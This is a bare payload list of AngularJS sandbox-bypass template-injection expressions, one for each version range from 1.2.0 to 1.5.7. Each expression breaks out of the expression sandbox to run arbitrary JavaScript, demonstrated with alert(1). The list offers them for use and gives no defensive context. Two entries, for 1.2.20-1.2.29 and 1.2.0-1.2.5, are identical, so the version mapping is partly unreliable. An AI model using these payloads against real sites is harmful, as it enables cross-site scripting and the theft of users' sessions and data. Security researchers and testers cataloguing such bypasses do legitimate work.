AngularJS Sandbox Bypass Collection

Versions 1.3.0 - 1.5.7:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

Versions 1.2.20 - 1.2.29:
{{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}

Version 1.2.19:
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","alert(1)"].sort(c)}}

Versions 1.2.6 - 1.2.18:
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

Versions 1.2.0 - 1.2.5:
{{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}